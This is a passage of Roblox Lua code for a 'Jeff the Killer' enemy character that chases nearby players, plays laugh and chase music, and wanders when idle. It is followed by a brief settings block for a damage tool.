JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.4); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.15); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=30; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); local NeckRotation=(JeffTheKiller:FindFirstChild("Torso").Position.Y-MainTarget.Parent:FindFirstChild("Head").Position.Y)/10; if NeckRotation>-1.5 and NeckRotation<1.5 then JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=OriginalC0*CFrame.fromEulerAnglesXYZ(NeckRotation,0,0); end; if NeckRotation<-1.5 then JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,-0.993636549,0.112633869,0,0.112633869,0.993636549); elseif NeckRotation>1.5 then JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0.996671617,0.081521146,0,0.081521146,-0.996671617); end; else end; else Notice=false; NoticeDebounce=false; JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0); local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 3 -- cooldown for use of the tool again ZoneModelName = "TS Spin bone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage